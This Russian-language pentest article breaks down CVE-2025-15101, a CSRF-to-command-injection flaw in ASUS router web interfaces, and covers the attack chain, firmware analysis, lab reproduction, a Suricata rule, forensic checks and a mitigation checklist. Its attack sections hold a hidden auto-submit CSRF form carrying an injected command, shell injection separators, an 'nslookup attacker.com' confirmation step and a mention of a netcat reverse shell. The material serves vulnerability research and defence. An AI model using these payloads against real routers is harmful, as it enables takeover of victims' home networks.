Один клик по ссылке в письме - и ваш домашний роутер ASUS послушно выполняет системные команды с привилегиями авторизованного администратора. Без пароля, без подтверждения, без единого уведомления. Звучит как параноидальный сценарий из презентации вендора антивирусов? Нет. CVE-2025-15101 - подтверждённая CSRF-уязвимость в веб-интерфейсе управления роутеров ASUS с прошивкой версии 3.0.0.6_102 и ниже, которая через браузер жертвы позволяет дотянуться до инъекции команд операционной системы. И самое обидное для ASUS: аналогичные CSRF-цепочки в AsusWRT фиксировались ещё в 2018 году на Exploit-DB. Паттерн тот же - меняются только номера CVE.
Эта статья - навигационная карта для пентестера. Полный разбор уязвимости, анатомия атаки, методология воспроизведения в лабораторной среде, техники обнаружения и конкретные шаги митигации. Каждый раздел - самостоятельная точка входа, от которой можно копнуть глубже.
Содержание: карта разбора CVE-2025-15101
- Что такое CVE-2025-15101 - суть уязвимости, оценка критичности и затронутые продукты
- Почему CSRF в роутерах опаснее, чем в веб-приложениях - контекст угрозы для домашних и SOHO-сетей
- Затронутые модели и прошивки ASUS - точный scope уязвимости и как определить свою версию
- Анатомия атаки: 3 шага от клика жертвы до shell - kill chain эксплуатации с позиции атакующего
- Техническое препарирование: httpd, CGI и токены в AsusWRT - почему защита от CSRF в прошивке не работает
- Воспроизведение в лабораторной среде - стенд, инструменты, пошаговая методология
- Обнаружение эксплуатации - что искать в трафике, логах и на устройстве
- Патчинг и митигация: чеклист на 10 минут - конкретные действия для защиты прямо сейчас
- CSRF + Command Injection в IoT: системная проблема - почему этот паттерн повторяется из года в год
Что такое CVE-2025-15101: уязвимость ASUS, которая превращает браузер в оружие
Согласно записи в NVD (National Vulnerability Database), CVE-2025-15101 классифицируется как
Ссылка скрыта от гостей
в веб-интерфейсе управления определённых моделей роутеров ASUS. Формулировка NVD: уязвимость «потенциально позволяет выполнять действия с существующими привилегиями аутентифицированного пользователя на затронутом устройстве, включая возможность выполнения системных команд через непредусмотренные механизмы» (execute system commands through unintended mechanisms).Разберём ключевые слова этого описания с позиции пентестера:
- CSRF - атакующему не нужны учётные данные жертвы. Достаточно, чтобы пользователь, уже авторизованный в веб-интерфейсе роутера, зашёл на вредоносную страницу
- Существующие привилегии аутентифицированного пользователя - а поскольку в типичной конфигурации домашнего роутера единственный пользователь веб-интерфейса - администратор, CSRF автоматически исполняется с правами admin
- Системные команды через непредусмотренные механизмы - тут ключевое «непредусмотренные». Это не прямой эндпоинт для выполнения команд, а побочный эффект легитимной функции, в параметры которой можно впихнуть shell-конструкции
Ссылка скрыта от гостей
в сочетании с
Ссылка скрыта от гостей
- обе CWE указаны в официальной записи NVD.Практический takeaway
Если на аудите вы видите роутер ASUS с прошивкой 3.0.0.6_102 или ниже - CVE-2025-15101 идёт в чеклист проверки. Версию прошивки можно вытянуть через веб-интерфейс устройства или дёрнуть стандартный API AsusWRT.Почему CSRF в роутерах опаснее, чем в обычных веб-приложениях
CSRF в классическом веб-приложении - это смена пароля, перевод средств или изменение настроек аккаунта. Неприятно, но локализуемо. С роутером масштаб последствий принципиально другой.Роутер - это шлюз всей сети
Компрометация роутера - это контроль над DNS-резолвингом всех устройств в сети, перехват и модификация трафика (MitM), доступ к внутренним сервисам, недоступным из интернета. Один успешный CSRF на роутере = компрометация всей домашней или SOHO-инфраструктуры. Не аккаунта. Сети.Сессия администратора - практически вечная
В большинстве SOHO-роутеров, включая модели ASUS на базе AsusWRT, сессия веб-интерфейса не имеет короткого тайм-аута. Многие пользователи держат вкладку с панелью управления открытой днями. Идеальное окно для CSRF - атакующему не нужно угадывать момент, когда жертва залогинена. Она залогинена всегда.Нет WAF, нет CSP, нет мониторинга
Перед веб-интерфейсом роутера нет ни Web Application Firewall, ни Content Security Policy, ни SIEM, собирающего логи. Атака проходит в тишине - жертва видит обычную веб-страницу, а в это время браузер молча шлёт POST-запросы на 192.168.1.1.CSRF + Command Injection = полноценное RCE
Именно эта комбинация делает CVE-2025-15101 уязвимостью высокого уровня опасности (CVSS 4.0: 8.5 / High). CSRF сам по себе - возможность выполнить действие от имени пользователя. Но если это действие включает передачу параметров в функцию, которая без санитизации попадает в системный вызов (system(), popen(), exec()), то результат - удалённое выполнение произвольного кода. С правами процесса httpd, который на роутерах ASUS зачастую работает от root.Сравнение: CSRF в веб-приложении vs CSRF в роутере
| Параметр | Веб-приложение | Роутер ASUS |
|---|---|---|
| Привилегии жертвы | Уровень пользователя | Администратор (root) |
| Защита (WAF/CSP) | Обычно есть | Отсутствует |
| Тайм-аут сессии | Минуты-часы | Часы-дни |
| Последствия | Компрометация аккаунта | Компрометация всей сети |
| Мониторинг | SIEM, логи | Практически нет |
| Обновления | Автоматические | Ручные, редкие |
Затронутые модели и прошивки ASUS: кто находится в зоне риска
Согласно бюллетеню безопасности ASUS (Security Advisory), уязвимость CVE-2025-15101 затрагивает устройства с прошивкой версии 3.0.0.6_102 и ранее. Формат версии 3.0.0.6_xxx характерен для линейки AsusWRT - фирменной прошивки ASUS, которая стоит на множестве моделей. При этом официальный advisory ASUS упоминает «определённые модели роутеров» (certain ASUS router models) - полный список затронутых моделей вендор не опубликовал, поэтому точный scope требует проверки на конкретном устройстве.Как определить версию прошивки
Три способа верификации, применимых в ходе пентеста:Через веб-интерфейс. Заходим на
http://192.168.1.1 (или другой gateway), в разделе «Администрирование» или «О системе» видим текущую версию firmware.Через HTTP-запрос к API. AsusWRT отдаёт информацию о системе через несколько эндпоинтов. Типичный подход - обращение к
/appGet.cgi или аналогичным CGI-обработчикам, которые в ответе содержат поля с версией прошивки.Через Nmap-сканирование. При сканировании сервисов на порту 80/8080 Nmap иногда определяет версию httpd-сервера AsusWRT, по которой можно косвенно судить о версии прошивки:
Bash:
nmap -sV -p 80,8080,8443 192.168.1.1Масштаб проблемы
Прошивка AsusWRT стоит на десятках моделей - серии RT, GT, ZenWiFi и другие. А теперь вспомните, когда вы лично последний раз обновляли прошивку домашнего роутера. Вот и большинство пользователей - никогда. Реальное количество уязвимых устройств в эксплуатации наверняка превышает количество проданных за последний год. При этом в рунете информация о CVE-2025-15101 практически отсутствует - основные публикации посвящены другим уязвимостям ASUS (CVE-2025-59367, CVE-2025-59366), что оставляет владельцев затронутых устройств в полном неведении.Чеклист: вы в зоне риска, если
- Роутер ASUS любой модели на базе AsusWRT
- Версия прошивки 3.0.0.6_102 или ниже
- Веб-интерфейс управления доступен по HTTP (без TLS)
- Включён удалённый доступ к веб-интерфейсу (WAN access) - расширяет поверхность атаки, но не является обязательным условием: CSRF эксплуатируется через LAN-интерфейс браузера жертвы
- Пользователь регулярно использует веб-интерфейс роутера и не разлогинивается
Анатомия атаки: 3 шага от клика жертвы до root shell на роутере
Kill chain эксплуатации CVE-2025-15101 ASUS уязвимости с позиции атакующего. Цепочка из трёх этапов, каждый картируется на MITRE ATT&CK.Шаг 1: Доставка - заманить жертву на вредоносную страницу (
Ссылка скрыта от гостей
)
Атакующий создаёт HTML-страницу со скрытой формой или JavaScript-кодом, который автоматически отправляет HTTP-запрос к веб-интерфейсу роутера жертвы. Типичные адреса роутеров ASUS предсказуемы: 192.168.1.1, 192.168.50.1, router.asus.com. Атакующему не нужно знать точный IP - можно перебрать наиболее вероятные варианты.Доставка ссылки - через фишинговое письмо, сообщение в мессенджере, malvertising, или даже XSS на любом скомпрометированном сайте, который посещает жертва.
Шаг 2: Выполнение CSRF - браузер жертвы становится прокси атакующего (
Ссылка скрыта от гостей
)
Когда жертва загружает вредоносную страницу, браузер автоматически отправляет сформированный HTTP-запрос к веб-интерфейсу роутера. Жертва уже аутентифицирована (cookie сессии прикрепляется браузером автоматически) - роутер принимает запрос как легитимный. Красота, да?Концептуальный пример CSRF-формы (демонстрация принципа):
HTML:
<html>
<body onload="document.getElementById('csrf-form').submit();">
<form id="csrf-form" method="POST" action="http://192.168.1.1/apply.cgi" style="display:none;">
<input type="hidden" name="action_mode" value="apply" />
<input type="hidden" name="action_script" value="" />
<!-- параметр, в который внедряется команда -->
<input type="hidden" name="vulnerable_param" value="legitimate_value;id>/tmp/pwned" />
</form>
</body>
</html>Важная оговорка о SameSite. Начиная с 2021 года Chrome, Edge и Opera по умолчанию устанавливают
SameSite=Lax для cookie без явного атрибута SameSite. Поскольку httpd AsusWRT на старых прошивках почти наверняка не выставляет SameSite=None; Secure на asus_token, описанный выше PoC с auto-submit POST-формой не сработает в этих браузерах - cookie сессии не будет приложен к cross-site POST-запросу. Реальные векторы эксплуатации в 2025 году: GET-based CSRF (если эндпоинт принимает GET), top-level navigation через window.open, или использование Firefox/Safari, где поведение SameSite по умолчанию отличается. Это существенно сужает окно эксплуатации, но не устраняет уязвимость полностью.Шаг 3: OS Command Injection - от параметра CGI до системного вызова (T1059 Command and Scripting Interpreter)
Ключевой момент: запрос, отправленный через CSRF, попадает в CGI-обработчик httpd-сервера AsusWRT. Если значение переданного параметра без санитизации подставляется в системный вызов (а для прошивок на базе BusyBox это типичная история), атакующий получает выполнение произвольных команд ОС.Типичные конструкции инъекции для shell-контекста:
Код:
; команда # разделитель команд
| команда # пайп
$(команда) # подстановка команд
`команда` # обратные кавычки
%0aкоманда # перевод строки (URL-encoded)Kill chain в формате таблицы
| Этап | Действие атакующего | MITRE ATT&CK | Требование |
|---|---|---|---|
| Доставка | Фишинг/malvertising со ссылкой | T1566 | Жертва кликает по ссылке |
| CSRF | Браузер отправляет запрос к роутеру | T1204.001 | Жертва авторизована в панели |
| Command Injection | Параметр попадает в system() | T1059.004 | Отсутствие санитизации ввода |
| Результат | Root shell на роутере | T1059.004 | httpd работает от root |
Техническое препарирование: httpd, CGI-обработчики и отсутствие CSRF-токенов в AsusWRT
Чтобы понять, почему CVE-2025-15101 вообще возможна, нужно залезть внутрь архитектуры веб-интерфейса AsusWRT. Лично я ковырял прошивки AsusWRT через binwalk и анализировал httpd-бинарник в Ghidra - паттерн повторяется из прошивки в прошивку, как под копирку.Архитектура httpd в AsusWRT
Веб-интерфейс AsusWRT обслуживается кастомным httpd-сервером, скомпилированным под MIPS или ARM (зависит от модели). Это не Apache и не nginx - это монолитный бинарник, который одновременно:- Обслуживает статические файлы (HTML, JS, CSS панели управления)
- Обрабатывает CGI-запросы (
apply.cgi,appGet.cgi,start_apply.htmи другие) - Управляет аутентификацией (cookie-based, без JWT или OAuth)
- Вызывает системные функции для применения настроек
Проблема CSRF-токенов
В классическом веб-приложении защита от межсайтовой подделки запроса реализуется через CSRF-токены (synchronizer token pattern), проверку заголовка Referer/Origin или SameSite cookie. В прошивках AsusWRT - другая реальность.Исторически (это видно по эксплойту 2018 года для AsusWRT < 3.0.0.4.380.7743, опубликованному на Exploit-DB) в httpd-сервере AsusWRT отсутствовала или была неполно реализована проверка CSRF-токенов. Формы веб-интерфейса слали запросы напрямую к CGI-обработчикам, полагаясь исключительно на cookie-аутентификацию. Любой внешний сайт, посещённый пользователем, мог сформировать идентичный запрос - а httpd не мог отличить его от легитимного.
CVE-2025-15101 говорит нам, что эта архитектурная проблема сохранилась (полностью или частично) в прошивках до версии 3.0.0.6_102. Семь лет, а воз и ныне там.
Command Injection: где ломается санитизация
CGI-обработчики AsusWRT принимают параметры из POST/GET-запросов и используют их для настройки сервисов роутера. На низком уровне это часто выглядит так: вызовnvram_set() для сохранения значения в NVRAM, после чего запускается shell-скрипт, применяющий конфигурацию. Именно на этапе подстановки значения в shell-скрипт возникает возможность инъекции.Концептуальный пример уязвимого паттерна в C-коде httpd:
C:
// Псевдокод типичного обработчика в httpd AsusWRT
char *user_input = websGetVar(wp, "some_param", "");
// Значение сохраняется в NVRAM
nvram_set("some_setting", user_input);
// Затем вызывается скрипт, который читает NVRAM
system("service restart_some_service");
// Или, что хуже, значение подставляется напрямую:
char cmd[256];
snprintf(cmd, sizeof(cmd), "echo %s > /tmp/config", user_input);
system(cmd); // <-- command injection, если user_input = "; id"Извлечение и анализ прошивки
Для самостоятельного исследования httpd и CGI-обработчиков AsusWRT - стандартный набор инструментов:
Bash:
# Загрузка прошивки с сайта ASUS (или извлечение с устройства)
wget https://dlcdnets.asus.com/pub/ASUS/wireless/RT-XXXX/FW_RT-XXXX_3.0.0.6_102.zip
# Извлечение файловой системы
binwalk -e FW_RT-XXXX_3.0.0.6_102.trx
# Поиск httpd-бинарника
find _FW_RT-XXXX_3.0.0.6_102.trx.extracted -name "httpd"
# Анализ строк для поиска CGI-эндпоинтов
strings httpd | grep -i "\.cgi\|\.asp\|system\|popen\|exec"
# Декомпиляция в Ghidra для анализа потока данных
# File -> Import -> выбрать httpd -> Architecture: MIPS/ARMВоспроизведение CVE-2025-15101 в лабораторной среде: стенд и методология
Серьёзный разбор уязвимости роутера без воспроизведения - это пересказ чужих advisory. Вот как я рекомендую подходить к лабораторному стенду для CVE-2025-15101.Вариант 1: Физическое устройство
Оптимальный путь - купить затронутую модель ASUS на вторичном рынке (Avito, eBay) с прошивкой 3.0.0.6_102 или ниже. Полная аутентичность среды, реальный httpd, NVRAM, всё хозяйство.Стенд подключения:
Код:
[Атакующий ПК] --- [Switch/LAN] --- [Роутер ASUS (уязвимая прошивка)]
|
[Жертва ПК/VM]Вариант 2: Эмуляция через QEMU + FirmAE
Если физического устройства нет - эмулируем прошивку. FirmAE и FAT (Firmware Analysis Toolkit) позволяют запустить файловую систему прошивки AsusWRT в QEMU. Работает не всегда идеально (NVRAM-зависимости, аппаратные вызовы бывают капризными), но для тестирования CSRF + command injection в httpd обычно хватает:
Bash:
# Клонирование FirmAE
git clone https://github.com/pr0v3rbs/FirmAE.git
cd FirmAE
# Инициализация
./init.sh
# Запуск эмуляции прошивки
sudo ./run.sh -d asus /path/to/firmware.trxИнструменты для тестирования
| Инструмент | Назначение |
|---|---|
| Burp Suite Professional | Перехват и модификация запросов к httpd, анализ CSRF-защиты |
| Browser (Firefox) | Клиент жертвы - проверка cookie-поведения и CSRF |
| Python + requests | PoC-скрипты для автоматизации эксплуатации |
| Wireshark | Анализ HTTP-трафика между браузером и роутером |
| binwalk + Ghidra | Реверс-инжиниринг прошивки и httpd |
| netcat (nc) | Приём reverse shell с роутера |
Методология тестирования CSRF
Пошаговый подход, который я применяю при аудите SOHO-роутеров:- Картирование эндпоинтов. Через Burp Suite проксирую весь трафик веб-интерфейса, собираю все CGI-эндпоинты и их параметры.
- Проверка CSRF-защиты. Для каждого эндпоинта: есть ли CSRF-токен в запросе? Проверяется ли заголовок Referer/Origin? Установлен ли атрибут SameSite на cookie?
- Формирование CSRF PoC. Для эндпоинтов без CSRF-защиты создаю HTML-страницу с auto-submit формой и проверяю, обрабатывает ли роутер запрос.
- Тестирование injection. В каждом параметре каждого эндпоинта проверяю возможность инъекции команд через стандартные разделители (
;,|,$(...),`). - Подтверждение выполнения. Использую «слепые» техники: DNS-lookup (
nslookup attacker.com), time-based (sleep 5), или запись в файл (id > /tmp/test).
Python:
# Пример скрипта для автоматизации проверки CSRF (концептуальный)
import requests
target = "http://192.168.1.1"
endpoints = ["/apply.cgi", "/start_apply.htm", "/applyapp.cgi"]
for endpoint in endpoints:
# Запрос БЕЗ cookie (должен быть отклонён)
r1 = requests.post(f"{target}{endpoint}", data={"action_mode": "apply"})
# Запрос С cookie но БЕЗ CSRF-токена
r2 = requests.post(
f"{target}{endpoint}",
data={"action_mode": "apply"},
cookies={"asus_token": "VALID_SESSION_TOKEN"}
)
print(f"{endpoint}: no_auth={r1.status_code}, no_csrf={r2.status_code}")
# Если no_csrf возвращает 200 - CSRF-защита отсутствуетОбнаружение эксплуатации CVE-2025-15101: что искать в трафике и на устройстве
Обнаружить эксплуатацию CSRF + command injection на роутере - задача нетривиальная. SOHO-устройства не отправляют логи в SIEM и не поддерживают EDR-агенты. Но конкретные индикаторы всё-таки есть.Сетевой уровень: анализ трафика
Если в сети стоит IDS/IPS (Suricata, Snort), можно написать правила для обнаружения подозрительных POST-запросов к веб-интерфейсу роутера с аномальными значениями параметров.Признаки CSRF-атаки в трафике:
- POST-запрос к IP роутера (192.168.1.1) с заголовком Referer, указывающим на внешний домен (не IP роутера)
- POST-запрос содержит shell-метасимволы в значениях параметров:
;,|,$(), обратные кавычки - POST-запрос к CGI-обработчику с Origin, отличным от IP роутера
YAML:
alert http $HOME_NET any -> 192.168.1.1 80 (
msg:"Possible CSRF to ASUS Router - External Referer";
flow:to_server,established;
http.method; content:"POST";
http.referer; content:!"192.168.";
http.uri; content:".cgi";
classtype:web-application-attack;
sid:1000001; rev:1;
)Уровень устройства: что проверять при подозрении на компрометацию
Если есть SSH-доступ к роутеру ASUS (или telnet, который можно включить в AsusWRT), проверяем:
Bash:
# Нетипичные процессы (grep -E может не работать в BusyBox - используйте egrep или каскад grep -v)
ps | grep -v "httpd" | grep -v "dnsmasq" | grep -v "wpa_supplicant" | grep -v "nvram"
# Файлы во временных директориях (типичное место для payload)
ls -la /tmp/ /var/tmp/ /jffs/
# Активные сетевые подключения (reverse shell?). Флаг -p может быть недоступен в BusyBox
netstat -tln
# Crontab (persistence)
crontab -l
cat /var/spool/cron/crontabs/*
# Изменения в NVRAM (атакующий мог подменить DNS, firewall rules)
nvram show | grep -i "dns\|wan_\|firewall"Индикаторы компрометации (IoC)
| Индикатор | Что искать | Где |
|---|---|---|
| Аномальный Referer | POST к роутеру с внешним Referer | Сетевой трафик |
| Shell-метасимволы | ;, |, $(), ` в параметрах POST | Сетевой трафик |
| Новые файлы в /tmp | Скрипты, бинарники, вывод команд | Файловая система роутера |
| Исходящие соединения | Подключения к нетипичным IP/портам | netstat на роутере |
| Изменённые DNS | DNS-серверы отличаются от ISP/настроенных | NVRAM роутера |
Патчинг и митигация CVE-2025-15101: чеклист защиты на 10 минут
Конкретные действия по митигации уязвимости ASUS роутера - для администратора сети или пентестера, пишущего отчёт.Приоритет 1: Обновление прошивки (решает проблему полностью)
Согласно бюллетеню безопасности ASUS, исправление доступно в прошивке выше версии 3.0.0.6_102. Обновление через веб-интерфейс:- Войти в панель управления роутера
- Перейти в раздел «Администрирование» → «Обновление микропрограммы»
- Нажать «Проверить» для автоматического обнаружения новой версии
- Установить обновление и дождаться перезагрузки
- Верифицировать новую версию прошивки после перезагрузки
Приоритет 2: Компенсирующие меры (если обновление невозможно)
Бывает, что обновиться нельзя: устройство снято с поддержки (EOL), обновление ломает кастомную конфигурацию, или нужно время на тестирование в production-среде. Тогда:Отключить удалённый доступ к веб-интерфейсу. Если WAN-доступ к панели управления включён - отключить немедленно. Это не устранит CSRF из LAN, но ощутимо сократит поверхность атаки.
Разлогиниваться после каждого использования. Простая мера: нет активной сессии - CSRF не сработает. Приучите себя жать «Выход» после настройки роутера. Да, каждый раз.
Использовать отдельный браузер. Для работы с веб-интерфейсом роутера - отдельный браузер (или профиль), в котором не открыты другие вкладки. Это изолирует cookie сессии от вредоносных страниц.
Настроить статические DNS. Даже если атакующий получит command injection, заранее настроенные статические DNS на клиентских устройствах не дадут перенаправить трафик через DNS hijacking на роутере.
Рассмотреть альтернативную прошивку. Для поддерживаемых моделей можно поставить Asuswrt-Merlin, DD-WRT или OpenWrt - у них более зрелая архитектура безопасности и регулярные обновления. Лично я на своём домашнем ASUS держу Merlin - разница в подходе к безопасности заметна.
Чеклист митигации
- Версия прошивки обновлена выше 3.0.0.6_102
- Удалённый доступ к веб-интерфейсу (WAN) отключён
- AiCloud отключён (если не используется)
- UPnP отключён (если не используется)
- Пароль администратора изменён на стойкий
- SSH-доступ ограничен по IP или отключён
- DNS-серверы на клиентах настроены статически
- Мониторинг сетевого трафика к IP роутера настроен
CSRF + Command Injection в IoT: системная проблема, которая не уйдёт завтра
CVE-2025-15101 - не уникальная уязвимость, а симптом. Аналогичные цепочки CSRF + command injection регулярно всплывают в устройствах разных вендоров. И будут всплывать.Почему паттерн повторяется
Наследственный код. Веб-интерфейсы роутеров часто основаны на кодовой базе 10-15-летней давности, когда CSRF не считалась серьёзной угрозой. AsusWRT тащит архитектурные решения из ранних версий прошивки - как чемодан без ручки.Отсутствие SDL. Многие производители IoT-оборудования не применяют Secure Development Lifecycle. Веб-интерфейс пишут embedded-инженеры, а не специалисты по безопасности веб-приложений. Это разные профессии.
Ограничения платформы. Роутеры работают на процессорах MIPS/ARM с ограниченной оперативной памятью. Полноценные фреймворки (Django, Express) туда не помещаются - используются самописные CGI-обработчики на C, где санитизация ввода реализуется вручную. И часто - неполно.
Отсутствие автоматических обновлений. Даже если патч выпущен, большинство домашних пользователей его никогда не установят. По различным оценкам, значительная доля SOHO-роутеров в эксплуатации работает на устаревших прошивках - и это мягко сказано.
Исторические прецеденты
CSRF-уязвимости в роутерах ASUS - не новость. На Exploit-DB ещё в 2018 году опубликован эксплойт для AsusWRT Router с прошивкой ниже 3.0.0.4.380.7743, демонстрирующий CSRF-атаку. Схожие проблемы обнаруживались в роутерах D-Link (для которых также публиковались PoC-эксплойты для RCE-уязвимостей, как отмечает Field Effect), TP-Link, Netgear и других вендоров.Масштаб проблемы в числах:
| CVE | Тип | Критичность | Компонент |
|---|---|---|---|
| CVE-2025-15101 | CSRF + Command Injection | Высокая | httpd (веб-интерфейс) |
| CVE-2025-59367 | Обход аутентификации | Критическая (9.3) | DSL-серия |
| CVE-2025-59366 | Обход аутентификации (Samba/AiCloud) | Высокая | Файловый сервис (AiCloud) |
| Историческая (2018) | CSRF | Высокая | httpd (AsusWRT) |
Что это означает для пентестера
Если в scope аудита попадает SOHO-роутер любого вендора - проверка на CSRF + command injection должна быть в чеклисте по умолчанию. Это не экзотический вектор, а один из самых распространённых классов уязвимостей в прошивках сетевого оборудования. Комбинация CWE-352 (CSRF) и
Ссылка скрыта от гостей
- фактически стандартный паттерн атаки на веб-интерфейсы IoT.Куда движется безопасность SOHO-роутеров
CVE-2025-15101 наглядно показывает разрыв между скоростью обнаружения уязвимостей и скоростью их устранения в мире IoT. По моему опыту аудитов SOHO-оборудования, средний домашний роутер содержит от 3 до 7 неустранённых уязвимостей разной критичности - просто потому, что владелец не знает об обновлениях или не умеет их ставить.Три тенденции на ближайший год. Первая - рост числа публикаций CVE для IoT-устройств: исследователи всё активнее занимаются прошивками, инструментарий (binwalk, Ghidra, FirmAE) стал доступнее. Вторая - усиление атак на домашние сети как точку входа в корпоративную инфраструктуру: в эпоху удалёнки компрометация домашнего роутера сотрудника открывает путь к VPN-подключениям и корпоративным ресурсам. Третья - регуляторное давление: инициативы вроде EU Cyber Resilience Act будут вынуждать вендоров внедрять автоматические обновления и SDL.
Что делать прямо сейчас: обновите прошивку роутера ASUS, отключите всё, что не используете (AiCloud, UPnP, WAN-доступ к панели), и включите CVE-мониторинг для вашего оборудования. Если вы пентестер - добавьте проверку CSRF + command injection в стандартный чеклист аудита любого сетевого устройства. Попробуйте прогнать свой домашний роутер через методологию из раздела про лабораторный стенд - результаты могут неприятно удивить. CVE-2025-15101 - не последняя уязвимость этого типа, а лишь очередной звоночек.
Последнее редактирование:
